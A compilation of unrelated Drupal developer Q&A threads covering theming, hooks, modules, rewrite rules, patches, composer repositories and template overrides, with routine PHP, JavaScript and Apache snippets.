Remove blog-like recent content from  page Is there a straightforward way to remove the default content, ie recent posts list, from the front page?

I've read about creating my own page and assigning certain blocks to that page and then setting it as the default starting page.. but I've already got my homepage mostly set up and wondered if it would be easy to do it the other way so I don't have to change all my other settings.

Another way is to add the following code in your HOOK_preprocess_page() function in template.php:

if (drupal_is_front_page()) {
  if (isset($variables['page']['content']['system_main'])) {
    unset($variables['page']['content']['system_main']);
  }
}

This causes the default Drupal frontpage node-list in your theme to disappear. This method won't modify your front page title.

You'll probably want configure (admin/config/system/site-information) the Number of posts on front page option to lowest possible value (i.e. 1)  to save some performance too.


Array to string conversion in DrupalDefaultEntityController->cacheGet() I have a content type that has a multi-value taxonomy field. When I create a new item and select several values, I am presented with the following error:

  Array to string conversion in DrupalDefaultEntityController->cacheGet() (line 369 of /path/to/drupal/installation/includes/entity.inc).

The values are saved and everything appears to be working, but having this error appear every time is a little distracting, especially for the office staff who are actually entering the data.

Why does this happen?

There's a very quick fix already, posted several weeks later after IntegrityFirst's answer.

See https://drupal.org/comment/7812787#comment-7812787 and this patch: https://drupal.org/files/drupal7.entity-system.1525176-104.patch (thanks to Molot for link to core bug thread).

It turns out that there is a function in Drupal core that supports multidimensional array diff causing this bug, but it's just not used there.

So, fix is to replace array_diff_assoc (not recursive) with drupal_array_diff_assoc_recursive (recursive, as it comes from its name) at line 364 of includes/entity.inc (see DrupalDefaultEntityController::cacheGet if line number differs or if patch fails).


How to use official documentation to figure out what namespace to use I'm attempting to create a taxonomy term inside a Form plugin like so

$term = Term::create([
    'name' => 'my taxonomy term',
    'vid'  => 'vocabulary_to_put_it_in',
]);
$term->save();

When I do so I receive an error

  Fatal error: Class 'Drupal\my_module\Form\Term' not found

My gut is telling me that I'm not including the namespace like I should but I'm not sure how to actually figure out how to discover that. I'm creating nodes by using

\Drupal\node\Entity\Node::create

And I receive no errors for that. I'm assuming that it's because I'm using \Drupal\node\Entity\ before it, but I was only able to figure that out by looking at examples. I looked at this page https://api.drupal.org/api/drupal/core%21modules%21taxonomy%21src%21Controller%21TaxonomyController.php/class/TaxonomyController/8.1.x and saw the class hierarchy class \Drupal\taxonomy\Controller\TaxonomyController but when using

\Drupal\taxonomy\Controller\TaxonomyController\Term::create

I still get an error saying

  Fatal error: Class
  'Drupal\taxonomy\Controller\TaxonomyController\Term' not found

If it is true, that the reason why it is failing, is because I'm not including the right namespace, then how do I use the official documentation to figure out what I should be including? Or is there something else I'm missing entirely?

I was able to discover the namespace by finding the documentation for the Term class here.

https://api.drupal.org/api/drupal/core%21modules%21taxonomy%21src%21Entity%21Term.php/class/Term/8.1.x

And on that page there's a namespace section that said Drupal\taxonomy\Entity so I used

\Drupal\taxonomy\Entity\Term::create

and that worked.

So I believe in order to find the right namespace to use, you have to find the page for the class that is using the method. In this case Term. And then find the namespace section and put that before the class when you are using a method of it.

(This might be obvious to everyone else, but it took me a bit to figure out)


hook_form_node_type_form_alter does not work The sort comments module has a  function in sort_comments.module as below:

  /* drupal@ganovelli.it - blackice78 */
  define('SORT_COMMENTS_OLDER_FIRST', 1); // default
  define('SORT_COMMENTS_NEWER_FIRST', 2);
   /* Alter node type form: allow user to decide comments sorting */
 function sort_comments_form_node_type_form_alter(&$form, $form_state) {
  $form['comment']['comment_default_sorting'] = array(
 '#title' => t('Sort'),
 '#type' => 'select',
 '#options' => array(1 => t('Older first'),
                     2 => t('Newer first')),
 '#default_value' => variable_get('comment_default_sorting_' . $form['#node_type']-  >type, SORT_COMMENTS_OLDER_FIRST),
  );
 }

so that if you go to structure>content types, and for example for Article choose edit, then in comment setting, it will give you a drop down menu, so that you can select the order for showing comments, older first or newer first.

I am trying to do something similar, so in order to see how does it work, I have this in my annotations.module file:

define('Annotations_OLDER_FIRST', 1); // default
define('Annotations_NEWER_FIRST', 2);
/* Alter node type form: allow user to decide comments sorting */
function Annotations_form_node_type_form_alter(&$form, $form_state) {
  $form['comment']['annotations'] = array(
    '#title' => t('Sort'),
     '#type' => 'select',
    '#options' => array(1 => t('Older first'),
                     2 => t('Paragraph number')),

  #default_value' => variable_get('annotations_' . $form['#node_type']-  >type, Annotatiios_OLDER_FIRST),
  );
  }

But I can not see the drop down menu, at the same place that I see the drop down menu for sort comments module. Does anybody know what is the reason?

You have a syntax error on the last line, it should start with an apostrophe, and your constant is mispelled.  So it probably isn't compiling properly.  If drupal was picking up the hook you would probably get a white screen of death.

So this means:

You need to make sure the beginning of the function name is exactly the same as your module name - did you use a capital A when naming the module?  PHP is case sensitive.

Lastly, make sure you clear the cache so that Drupal picks up the new hook.  Install drush if you haven't already, go to the /install_directory/sites/mysite directory and run

drush cc all

(assuming you're on linux with command line access)


Pulling CiviCRM data into a custom Drupal module based on checksum/hash link I have a CiviCRM contribution page that allows an individual to renew a membership on behalf of an organization. When we email them from CiviMail with a checksum link to the page, it will prefill their information in the form automatically and have the membership renewal associate correctly to the organization.

How can I pull the organizational information into a custom Drupal module (e.g. a block that displays in the sidebar, for example)? I would like to have a text block that displays some information about the org and potentially names of people who are related to the org by relationships in CiviCRM. I won't have a problem doing that with Views and/or the CiviCRM API in a custom Drupal module, but I'm not sure how to get the org's ID in this scenario, to know which info to display.

I am assuming you want to show the organization information of logged in contact.
So I would do following:

Get the contact id of logged in contact (or anonymous user who used a checksum link, via the cid field in the URL, as @petednz noted).
Get the current employer id
then retrieve address of current employer


Drupal, Crawlers, and Migrating from a Query string based site to a Clean URLs site I have a (potentially huge) problem that I did not anticipate.  I just built a beautiful new site for the organization I work for.  It is a massive improvement over the previous site.  The site is also, I'd say, larger than average.

The previous site utilized query strings to navigate around the site, and in a really awful, highly customized fashion.  Basically all page URLs looked something like /index.php?page=/path/to/page.php&stuff=4|5|3|1.

The new site utilizes clean URLs.

Now the problem.  Crawlers from all over are rampaging through the site and causing high CPU utilization (~50% at all times).  I have caching enabled as well as JavaScript and CSS aggregation.

Here's an example URI from the access log:

/?p=1%7C26%7C31%7C33%7C2%7C7&page=publications.php

In the current scheme that should just return a 404 in my opinion because that literally represents nothing.    Instead it's returning 200 OK which is wrong in so many ways, but technically is right because you do in fact get the home page back.  In fact, every single "page" that the crawlers look at right now 90% of the time it's getting back the homepage because it's either looking at /index.php?querystring or /?querystring where of course Drupal does nothing with the query string and just returns the homepage!

I'm not entirely sure how to communicate the correct HTTP status codes to the crawlers.  Any advice is much appreciated at this time.  I now understand why Google implores you to build sites with clean URL schemes...

You need to handle this in your httpd.conf or .htaccess before Drupal handles it.

Your best bet is to come up with some rewrite rules and 410 Gone them.  Something like this

RewriteEngine On
RewriteBase /
RewriteCond %{QUERY_STRING} page=(\w+)&stuff=(\w+)
RewriteRule ^(.*)$ - [G,L]

should be a start.  You need to play with the query string to match the inbound requests.


how to extend ctools functions in my own js file? I am trying to extend the ctools model functions in my JavaScript file but not getting the exact way.

In ctool model.js contains modalContentClose = function(){close(); return false;}; which I want to override in my JavaScript file to add more functionality.

I have tried to use the following code, but it doesn't work.

function extends modalContentClose() {
  // Some alert here.
}

JavaScript doesn't allow extending a function with another one. If you want to extend modalContentClose() you just redefine it in your JavaScript file that is included after the JavaScript used by ctools.module.

modalContentClose = function() {
  // Add your own code.
  close();
  return false;
};

Your version of modalContentClose() cannot refer the previous modalContentClose(), if you don't save it in a new variable, as with the following code.

originalContentClose = modalContentClose;

modalContentClose = function() {
  // Add your own code.
  originalContentClose();
};


Generate price from item selected in drop down I am using Drupal 7.14, Commerce 7.x 1.3 and Views 7.x 3.3.
I want to have a drop down list on my product display form (or content display form) containing, say:

Full Price, no coach required - £ 200
Full Price, Glasgow coach - £ 230
Full Price, Edinburgh coach - £ 230
Full Price, Liverpool coach - £220
....

and I want, when an item on the list is selected, the displayed price to change to the indicated value and, of course, this to be passed to the cart.

How can I do that.

You can do this using the Rules module: http://drupal.org/project/rules/.  That should already be up and running if you're using Drupal Commerce.

So just go to admin/config/workflow/rules and add a new rule that looks something like this:

Event: Calculating the sell price of a product
Condition: Entity has field: [commerce-line-item], Field:
Action: Set the unit price to a specific amount; Parameter: [commerce_line_item]; Value:  can either select another field to base this on or do a hard-coded value; Leave Price component type and Price rounding mode to their defaults
Test!

Let me know if this ends up working for you


What is going on with Drupal Packagist? I was using

  "repositories": {
   "drupal": {
       "type": "composer",
       "url": "https://packagist.drupal-composer.org/"
   }
  },

in my composer.json file, but now it started saying that it can't load it and it is deprecated so go to https://www.drupal.org/node/2822344 instead. However, the info on there suggests changing it to point to https://packages.drupal.org/7 but this also doesn't seem to exist.

Can anyone shed some light?

https://packages.drupal.org/7 is the correct url, its just that drupal.org does not server any content under this url. Composer will call https://packages.drupal.org/7/packages.json


Blocks are invisible after hosting drupal7 I am facing with a problem in drupal7, I am new to drupal7 too. When I run my website in localhost everything fine, blocks and menu are visible. But after I host my website in GoDaddy, that blocks and menu are invisible, where they gone. I am also hoping someone can help me to solve this problem. Thanks.

This is the image when I call this website in localhost. We can see block and menu.

This is the image when I call after hosting this website.

Sometime the issue occurs when we migrate the site. Just follow through these steps:-

1) Check the block section of the local and live site
2) Check all blocks from the local and live
3) Now assign the blocks to the same regions in live as it is in the local setup
4) Check blocks are visible on the given region on the page or not.

Edit the blocks to set their display settings.


Keep URL the same after changing page title I create alias for every pages on my site. For example, if a page is called "My Page", then the alias will be "/my-page".

Is there a way to keep that URL the same even if I rename the page "My Page 1" ?

For the moment, it automatically changes the alias to "/my-page-1"

Thanks!

You can set the default at /admin/config/search/path/settings. Under 'Update Action' choose 'Do nothing. Leave the old alias intact.'


Authenticated user can't download audio, even though has permission I have an embedded audio player using HTML5 which is displayed on my guitar lessons site. I have a private file system set up. When I am logged in I can play the audio files fine. If I register as a regular user and go to the same page, it shows the embedded audio player, but no audio plays. This is because drupal is not serving the audio via the media module because for some reason drupal thinks the user is not authorized, even though I specifically set up the roles.

Any ideas how to troubleshoot this?

Thanks!

Ok, I didn't realize beyond administering the user roles that I also had to go under Configuration » Media and under private file downloads add a directory '/' under sites/default/files/private... Now it works.


How to add an sms:number link to a menu? In Drupal 8.5, when you're adding a menu item, you can add a telephone number by setting the Link to tel:1-555-555-5555.

However, if you try to add an SMS link like sms:1-555-555-5555, it fails validation and says "The path 'sms:1-555-555-5555` is invalid."

What's the easiest way to override this so that I can add an sms link to the menu?

On the sites/default/services.yml

There is an option called filter_protocols

Add sms to it.

If file is not available, copy the file from default.services.yml to services.yml


Import test data to theme? I'm quite new to Drupal, and I'm still in learning process. I've installed a pure Drupal 8, and installed a the YG Agency theme. Right now the theme is only blank. Is it possible to load some test data into the theme, as it is displayed in the Demo?

http://demo.drupalfreethemes.com/drupal/free-themes/yg_agency/

I know this can be done is many WordPress themes? Does Drupal support importing test data to themes as well?

The YG Agency theme has a link to the prepopulated database from the following page:

https://www.drupal.org/project/yg_agency

Just click on the link that says "Download Demo Site".

You can then import the database into MySQL or the like.


How to properly perform a patch so that the correct directory is used? I attempted to make a patch using Making a Drupal patch with Git and ran into one issue after creating the patch. For some reason, I cannot get the proper location to be stored in the patch.

How can I get the desired results in the patch?

Issue

the issue is that it is setting diff --git "a/docroot/modules/contrib/video_embed_vidyard/src..."

Command used to generate the patch:

git diff <commit#1> <commit#2> > patch-name.patch

Current results:

diff --git a/docroot/modules/contrib/video_embed_vidyard/src/Plugin/video_embed_field/Provider/Vidyard.php b/docroot/modules/contrib/video_embed_vidyard/src/Plugin/video_embed_field/Provider/Vidyard.php
index 94a7dc26b..4de97deb7 100644
--- a/docroot/modules/contrib/video_embed_vidyard/src/Plugin/video_embed_field/Provider/Vidyard.php
+++ b/docroot/modules/contrib/video_embed_vidyard/src/Plugin/video_embed_field/Provider/Vidyard.php

Desired results:

diff --git a/src/Plugin/video_embed_field/Provider/Vidyard.php
b/src/Plugin/video_embed_field/Provider/Vidyard.php
index 94a7dc2..be635ad 100644
--- a/src/Plugin/video_embed_field/Provider/Vidyard.php
+++ b/src/Plugin/video_embed_field/Provider/Vidyard.php

I want to be able to generate a/src/.. instead of a/docroot/modules/contrib/video_embed_vidyard/src

Actually, there is a fairly easy way to generate a patch for a certain path with --relative.

So in your case, just run git diff --relative=docroot/modules/contrib/video_embed_vidyard.


Changing a template using user role and publishing variables I've been trying to get the following function to work in Drupal 7, where an unauthenticated user sees a different article template (in this case, node--article2.tpl) than a user that's logged in.  I get no php errors, but the template doesn't change if I'm logged out. What am I doing wrong here?

<?php
   function mytheme_preprocess_node(&$variables) {
   $node = $variables['node'];

   if($node->type === 'article'){
   global $user;
   if($user->uid == 0){
   $variables['template_file'] = 'node__article2';
  }
 }
}

Additionally, I'd like the function to look at an article's published state as well.  We're using the custom publishing options module that adds a publishing state of "archived."

So basically unauthenticated users will get a different template that has a publishing state of archived.

change code

  $variables['template_file'] = 'node__article2';

to

  $variables['theme_hook_suggestions'][] = 'node__article2';


Create custom block with node title? I would like to be able to use a region which is to contain the title of the current node. In the default theme the title is output in the main content, but I want it in this custom region instead. But I cannot find a block for the node title. Can I create it?

Remove the title from the node.tpl.php and create a new block with the following PHP code:

<?php
$node = node_load(arg(1));
print $node->title;
?>

Enable visibility only on view node pages.

CCK Blocks is a very handy module for these things, but unfortunately the node title isn't listed as an element in display mode.

[EDIT]

If you are on D7 and you are using Omega theme, Delta module should work for you. Check specifically Delta Blocks module from that package.


Custom Block - How to get additional variables I am new to Drupal and slowly getting my head around it.
I'm using Pay to Publish module on my site, I've setup a custom block that gets recent posted advert (very simple) now I want to style the block to look a bit different which isn't too hard. I've managed to create a new .tpl.php for my specific block.
However past here I cannot figure out how to gain access to the variables for each post.
This is what I have currently and what I want:
http://gyazo.com/e91c01cd9b64d4a31a01c9e5039c7362

So i'll need to gain access to the price and picture url from each post. If anyone can point me in the right direction that would be great, being new to Drupal I'm not entirely sure I've been using the right keywords in my searches on Google.

Much appreciated, Ross.

You can create custom block and you can render variables using block view function

function MODULENAME_block_info() {
    $blocks = array();
    $blocks['top_five_adverts'] = array(
        'info' => t('Top Five Adverts'),
    );
}

function MODULENAME_block_view($delta = '') {
    $block = array();

    switch ($delta) {
        case 'top_five_adverts':
            $block['subject'] = '';
            $block['content'] = theme('top_five_adverts_list', array('data' => getAdverts()));
            break;
    }
    return $block;
}

function MODULENAME_theme() {
    return array(
            'top_five_adverts_list' => array(
            'variables' => array('data' => null),
            'template' => 'theme/top_five_adverts_list',
        ),
    );
}

Create top_five_adverts_list.tpl.php in theme folder of that module


Comment Forms - place label inside the inputs I'm theming a comments section on a page in a D7 site.
What I want is for the label for the forms items to show as a placeholder attribute rather than above the element.

I've used a hook_form_alter to add the placeholder attributes, e.g.

$form['comment_body']['#attributes']['placeholder'] = t('Add comment here');

…but don't seem to be able to hide the label. In a normal form I can set the label to hidden but there's no option under 'manage display' for the comment form.

Is there something I can do in my hook to do it instead? I know I can hide it with CSS but would like to know The Drupal Way™

Right, answered my own question with a bit of help from the Form API Docs!! https://api.drupal.org/api/drupal/developer!topics!forms_api_reference.html/7

'#title_display' => 'invisible'

was what I needed!


How to trim an Aggregator RSS feed? Drupal core module Aggregator produces feed titles like:

One two three four five six seven, all good children go to heaven.

I want this displayed:

One two three four five six seven, all good children

How to get this done?

Someone hinted that the Smart Trim module offers this option but I can't get it working in combination with Aggregator and Panels. How to do this?

I managed to do it using the Views module. I create a View of "Aggregator item" type.

In my view, I display each field I want to see, and for the "Aggregator:Title" field configuration, in the "Rewrite results" section, I checked "Trim this field to a maximum length". There are options to set the maximum length, to add or not an ellipsis (...), to add or not a "Read more" link... See the picture for more details (it refers to the "Aggregator:Body" field, but it works the same way).

Hope that helps,


Showing blocks basing on content type Can anyone provide a snippet code that is applicable for Drupal 6?

If used from inside the Drupal 6 Block UI Admin Page use php area:

$whereami=menu_get_object();
if (isset($whereami->type) && $whereami->type=='TYPEYOUARELOOKINGFOR') {
  return TRUE;
} else {
  return FALSE;
}


Deleting nodes did not remove the node-related menus Is there a "safe" way to delete all the existing content/pages/nodes from a Drupal 7 site, and delete corresponding menu entries?  When I deleted the nodes using the admin UI, my menu entries didn't get deleted?  What can cause this?

These Q/A may be helpful for you:
Delete all nodes of a given content type
How to bulk delete content of a given type?
According to the first Q/A, the Delete all module is worth to try.

You could also try mass delete node. The function node_delete() is safe to call. It has a call to node_delete_multiple() which deletes all related components of a node, such as entities, files, revisions, history, etc.

[UPDATE]
If you already deleted your nodes, but node-related menus are still there, you could also try out menu_rebuild() to rebuild your navigation menus. Check this answer. You could also add menu_rebuild() at the end of the script of mass delete node I mentioned above.

OR

If you know menu IDs, you can remove each of them using menu_link_delete().


Negative margins in Omega content zone I am using Omega / Delta / Context, and am trying to make the content zone a little wider than its surrounding regions using negative margins but the

.container-12 { margin-left: auto; margin-right: auto; width: 1200px; }

class overrides my attempts to change margins or width with CSS via class names (ie, using Theme Settings => Zone and Region Configuration => Context Section => Content Zone => Configuration => Additional zone classes)

How can I accomplish this?

OK, you really have two options.

One is to put a more specific rule in your media query sheets.  So, you would need to place a rule in mytheme-alpha-default-wide.css  Normally, this comes before the grid sheet, so you either need a more specific rule or !important.

.zone-content .container-12 { width: 1300px !important; }

Your second option is to implement implement a hook_css_alter(), find the wide sheet for your grid system (eg, alpha-default-wide-24.css), and then swap it out with your own version.  Then, in your own version you can do something like:

.container-12 { margin-left: auto; margin-right: auto; width: 1200px; }
.zone-content .container-12 { width: 1300px; }

And, as a side note, you will likely have issues due to redefining the grid width.  The grid classes inside it will not work as expected.


Covert link field as link field text format? I have used the link field for the button. Here, I have to change one word as Italic. I am not able to change the word as Italic in the link field.

I want to change the link field as link's title lik formatted.

How could I achieve this without using any module.

Please suggest me!

If you need to change the HTML you can Rewrite the output using tokens, see more info here: Raw Field Value in Views and in this question and answer: Add link for each column

Then you can emphasize a word in the output to make it italic, or wrap it with some HTML element with a class and italicize it with CSS in your theme.

If you want to make the whole link text italic you can add a class to that field and style it with CSS.

If you just want to reword the link text you can use the Rewrite results as mentioned.


Views table doesn't set fields next to each other I got a content type with 7 fields. Each field can contain unlimited inputs. Like:

Field Type/DN got fields 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11
Field L got fields 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11

When I make this in a view table I get this:

Type/DN       L
1             1
1             2
1             3
1             4
1             5
1             6
1             7
1             8
1             9
1             10
1             11
2             1
2             2
2             3
2             4
2             5
2             6
ETC.

What I want is

Type/DN       L
1             1
2             2
3             3

The fields are imported from a CSV file by feeds importer.

Here some images to show my settings:

I made the excel import input all the fields.
And make a node for every row in the xls file, then i made a extra field with the product name in the xls file so every node could reconize on what tabel they had to add the rows.

bit messy with a lot of tables but the out put works.


How to reply to a comment through services in Drupal 7? I am using Drupal 7 as back-end for a mobile application. I am using comments in my application.

Can anyone help me to reply to comment through web-service?

This is how I was able to reply to a comment through web-service.

 URL:- example.com/rest/comment
 Method : POST
 Parameters:-
 nid :6
 pid: 4
 comment_body[und][0][value]: Some text


D7: filter fields in content type based on selected taxonomy terms I am wondering if it is possible to display certain fields to users when they fill in a content type, based upon which taxonomy term they have selected prior in that same content type.

So for example, I have one generic NEWS content type, but it included several sub news categories. Say, I have made a NEWS vocabulary with 3 taxonomies, named: press, book, lecture. All three demand different information, thus different fields. Now I don't want to expose all these fields, but only those fields that are related to the taxonomy term one selected when filling in the content type.

Any pointers if this can be done?

You could make use of Conditional Fields module

  Conditional Fields allows you to manage sets of dependencies between
  fields. When a field is “dependent”, it will only be available for
  editing and displayed if the state of the “dependee” field matches the
  right condition.


How to collect the node ID on a webform? I have a view showing many products. Each product has its own nid. There is a 'RESERVATION' link in each product as well. When a client clicks on RESERVATION, I want to take him to a form in order for him to provide some more details. Here is my problem, in that form how may I have a hidden field containing the nid of the product on which the client has clicked?

Re-write the reservation link field to include the ID in the URL.


How do I create a flag so each user gets to set one flag on one instance of a content type? I want to create a non-global flag which each user can use to 'flag' one (and only one) instance of a specific content type.

I have a view which displays a list of content with fields, including a flag link.  I would like to set up my flag (or a rule with a flag) so that if a user clicks on a flag link, all other flags that that user has set (for that specific flag type) are reset.

This will be used for a 'favorite' type of flag, which can only be set on one instance of a specific content type.

Here is how I eventually solved this

Create a rule that does the following actions.

Loop through a list of all content that the flagging user has flagged (with the specified flag.)
Unflag ALL of the nodes in this list
Re-flag the node that triggered the event (F\flagged-node)


delete/approve comment How can the administrator delete an "impolite" comment and approve comments before publishing?

Globally speaking, what is the best management of the comments?

You can set permissions for users - Skip comment approval in admin/people/permissions/list#module-comment(in drupal 7). After as admin you can manage your comments here - admin/content/comment you can approve comments, delete them or unpublish.


How to get an array of referenced entity ids from an entity reference field I have a entity_reference field with BaseFieldDefinition::CARDINALITY_UNLIMITED cardinality. I want a list of referenced entity ids.
I know that I can get all the referenced entities by calling $x->referencedEntities(), but I want only the ids to get the entities loaded later. Currently I am doing this:

  $a = [];
  foreach ($entity->autoren as $v) {
    $a[] = $v->target_id;
  }
  $this->setCurrentAnwaltReferenzen($a);

Does anyone know a better solution like it was in D7 (->raw())?

Thanks

As an alternative you can do it in one line with an array function instead of a loop:

$ids = array_column($entity->autoren->getValue(), 'target_id');

Edit: Use getValue() to only get the array of the field.


jQuery stops working in a ahah wrapper div returned as json data I use #ahah binding to a form element to modify a #ahah[‘wrapper’] HTML div.  It contains a ‘slider’ div for the EasySlider jQuery UI plugin.  This  div contains a list where each list item represents one slide.  When the ahah event is triggered, the wrapper HTML is replaced by a new set of slides.

When the form loads the slider works fine.

Here’s the problem: when the ahah event is triggered  the jQuery no longer works.  The new slides display one below the other, no animation.  Shouldn’t the jQuery function be called automatically, or what is needed to make the call?

Not really a Drupal question, but the slider is created in Javascript on the document.ready -event which can't as such be triggered manually.

When you fetch a piece of content via ajax to the page, it just replaces the html, but does not attach any event handlers or run any document.ready -code. You need to handle that explicitly.

What I'd do is I'd check out what function EasySlider calls on document.ready and just repeat that call after the ajax content is fetched.


How do I change the layout of the fields used in a node? I have a content type which has a large number of fields, for example:

first name
last name
company

By default, when a user adds a new node, these fields will appear one under the other. I want to change the layout, and place the "last name" field to the right of "first name."

Can you tell how I can implement this? Is there a module I can use?

Here is a great tutorial on how to theme a node edit/add form in Drupal 6: Theme a CCK input form for CCK2 & CCK3


Changing the output order of Nodewords meta tags in head I have a request to change the order that meta items are printed in the head using the contrib module Nodewords in D6.  More specifically the property would like the description to appear before the keywords (per their SEO consultant).

Is this possible?  Fruitless?  Stupid?

I have searched with no results so far.

You can implement hook_nodewords_tags_alter which will alter the rendering of the tags. It accepts function MODULENAME_nodewords_tags_alter(&$output_tags, $tag_options) {}.

But why do you want to do this ? Any SEO insight you might share with us ?


X-Frame-Options to sameorigin My Drupal site is on a subdomain of my old html/php site. So, I am running into problems sharing content from my Drupal site via iFrame.

I looked up solutions that worked for others and the consensus seems to be either edit settings.php

$conf['x_frame_options'] = '';

Or to use the Securit Kit module to change the X-Frame options to disabled.

I have tried both, cleared the cache and the site with the iFrame is still saying Refused to display https://example.com/entity_iframe/node/1 in a frame because it set 'X-Frame-Options' to 'sameorigin'.

Any ideas?

The htaccess file was overriding everything. I installed https://www.drupal.org/project/htaccess and added "Header always unset X-Frame-Options"

That fixed it.


scheduled site backup at specific time / hour How to schedule a backup of Drupal site (especially database) at specific hour on a shared host? I am using Backup Migrate module, but it doesn't support hours, only frequency. It currently makes daily backups around 8 pm.

I checked this shell script, which could be added to cron I think, but it doesn't send mail after backup and doesn't allow to specify "only structure" for cache tables.

Try Elysia Cron, in addition to Backup and Migrate, you can set the time of day to run as well as many other things.

Don't forget to read the documentation.

It is also worth noting that in the default configuration of Drupal 7 cron is triggered by users hitting your site.  If the site is not used exactly at the time indicated in Elysia Cron it will be run as soon as someone loads something on your site.  Therefore, it is impossible to get this to execute exactly when you want, but it should be close.


How do I remove gid from og_group_ref field's autocomplete? At first I thought this was a job for hook_preprocess_field(); however, it then occurred to me that this field is populated by an ajax look up.

Where might be the best place to remove the group id from this? That is, how do I remove the (2) from the "TEST GROUP, Private" result pictured below?

I keep having users ask me why it's there.

I've also explored this in the Firefox Inspector. When I key in test, I see that requests are being sent to /og/autocomplete/tags/og_group_ref/node/post/default/NULL/test

And going a bit of work, I see that that path maps to these callbacks:

mysql> select path, page_callback from menu_router where path like 'og%';
+--------------------------------+------------------------------------------+
| path                           | page_callback                            |
+--------------------------------+------------------------------------------+
| og/autocomplete/single/%/%/%/% | og_entityreference_autocomplete_callback |
| og/autocomplete/tags/%/%/%/%   | og_entityreference_autocomplete_callback |
+--------------------------------+------------------------------------------+
2 rows in set (0.00 sec)

Which I find in these files:

$ grep -Rin 'og_entityreference_autocomplete_callback' *
profiles/commons/modules/contrib/og/includes/og.field.inc:313:function og_entityreference_autocomplete_callback($type, $field_name, $entity_type, $bundle_name, $field_mode, $entity_id = '', $string = '') {
profiles/commons/modules/contrib/og/og.module:100:    'page callback' => 'og_entityreference_autocomplete_callback',
profiles/commons/modules/contrib/og/og.module:107:    'page callback' => 'og_entityreference_autocomplete_callback',

And the callback function returns entityreference_autocomplete_callback_get_matches.

Well, I changed the form field og_group_ref to a select box. This is enough to hide the group id number from users and has curbed confusion. Though I'd be happy to hear what others would do in this situation.


Store only a resized version of an enormous uploaded image I have editors uploading images the size of 3.8MB. I don't want to lower the maximum size for image/file upload (it's set to be 5MB), that's because I use core Image Styles (admin/config/media/image-styles), but for a server's sake, is it possible to make them upload that enormous file but just store a resized, smaller version of it? let's say, store a reduced 800x800px version of it?

Yes, that functionality is in Drupal core as default.

In Image field settings (your Content type -> Manage fields) set for Maximum image resolution to 800x800px. Drupal will resize image size and save only resized version of it.


Override a theme template variable with a module I created two variables for use in my theme's page templates. I used variables because I wanted that value to be flexible.

function mytheme_preprocess_page(&$variables) {
  $variables['var1'] = 'value1';
  $variables['var2'] = 'value2';
}

Without creating a new page.html.twig template, I want to choose new variables in mymodule. Like, maybe...

function mymodule_preprocess_page(&$variables) {
  $variables['var1'] = 'newvalue1';
  $variables['var2'] = 'newvalue2';
}

This isn't working. I have a feeling it's because themes get priority? Any ideas?

Edit: I should clarify. How do I do this?

Taking the lead from @Alfred Armstrong above and my colleague, this ended up working!

In mytheme.theme

function mytheme_preprocess_page(&$variables) {
  if(!isset($variables['var1'])) {
    $variables['var1'] = 'defaultvalue1';
  }
}

In mymodule.module

function mymodule_preprocess_page(&$variables) {
  $variables['var1'] = 'myvalue1';
}


Programmatically add a taxonomy term as entity reference in a custom entity I'm really struggling to add a taxonomy_term as an entity reference to a custom entity I've created programmatically.

Here is my configuration based on BaseFieldDefinition (the name of the vocabulary is "specialite":

$fields['speciality_field'] = BaseFieldDefinition::create('entity_reference')
  ->setLabel(t('speciality'))
  ->setRevisionable(TRUE)
  ->setSetting('target_type', 'taxonomy_term')
  >setSetting('handler_settings', ['target_bundles' => ['specialite' => 'specialite']])
  ->setSetting('handler', 'default')
  ->setTranslatable(TRUE)
  ->setDisplayOptions('view', array(
    'label' => 'hidden',
    'type' => 'author',
    'weight' => 0,
  ))
  ->setDisplayOptions('form', array(
    'type' => 'entity_reference_autocomplete',
    'weight' => 5,
    'settings' => array(
      'match_operator' => 'CONTAINS',
      'size' => '10',
      'autocomplete_type' => 'tags',
      'placeholder' => '',
    ),
  ))
  ->setDisplayConfigurable('form', TRUE)
  ->setDisplayConfigurable('view', TRUE);

This piece of code doesn't work, would you please help to find what I am missing, or redirect me to a good documentation explaining different values for handler_settings

Thank you so much.

Well thank you, the answer of 4k4 was very useful.
My problem was that for my field I wanted to reference to a taxonomy term, I had already created it and dropped it directly in the database.
It's seems no to be the right way to do this, so I was having such trouble recreating it.
So unisntalled my module (after removing all the data) , and reinstalled it , and then this piece of code worked perfectly to have a reference to a taxonomy term:

$fields['speciality'] = BaseFieldDefinition::create('entity_reference')
  ->setSetting('target_type', 'taxonomy_term')
  ->setSetting('handler', 'default:taxonomy_term')
  ->setSetting('handler_settings',
      array(
    'target_bundles' => array(
     'specialite' => 'specialite'
    )))
  ->setDisplayOptions('view', array(
    'label' => 'hidden',
    'type' => 'author',
    'weight' => 0,
  ))
  ->setDisplayOptions('form', array(
    'type' => 'entity_reference_autocomplete',
    'weight' => 3,
    'settings' => array(
      'match_operator' => 'CONTAINS',
      'size' => '10',
      'autocomplete_type' => 'tags',
      'placeholder' => '',
    ),
  ))
  ->setDisplayConfigurable('form', TRUE)
  ->setDisplayConfigurable('view', TRUE);

PS: specialite is my the name of my vocabulary


Override the region.tpl.php template for an internal path I have a view which I want to output as plain raw data (no html tag, no div, nothing, just the view content as text).
I managed to override html.tpl.php, and page.tpl.php templates, but i still have some default markup...
I get this:

<div class="region region-content">

And don't know how to get rid of it.
I guess the region.tpl.php template is responsible for this, but how could I override it just for that given view (which has an internal path: user-export).

I tried region--user-export.tpl.php but my template is not seen by drupal.
Do I need to use a template suggestion ?

Thanks in advance!

EDIT: I found a solution.
Probably not the cleanest way but it works. I created a "blank" theme, where I overrode region.tpl.php by creating a file named region.tpl.php and stripping all divs and classes from it. I then downloaded the "Page Theme" module and set the template to "blank" for the view url.
And that was it. my view got displayed with no wrappers, no divs, just plain text.

I would personally not use the method you currently have as it would seem to be overkill.

You can use your template.php file of your theme to set a different template file to use under your given conditions.

Like this, in your theme's template.php file (Note: this is adapted from the Zen theme):

/**
 * Preprocess variables for region.tpl.php
 *
 * @param $variables
 *   An array of variables to pass to the theme template.
 * @param $hook
 *   The name of the template being rendered ("region" in this case.)
 */
function THEMENAME_preprocess_region(&$variables, $hook) {
  // Use a template with no wrapper for the content region on the path VIEWPATH.
  if ($_GET['q'] == 'VIEWPATH' && $variables['region'] == 'content') {
    // Allow a specific template to override the content region.
    // The template file will be region--no-wrapper.tpl.php
    array_unshift($variables['theme_hook_suggestions'], 'region__no_wrapper');
  }
}

Then to your theme add the region--no-wrapper.tpl.php file with the wrapper markup stripped out.

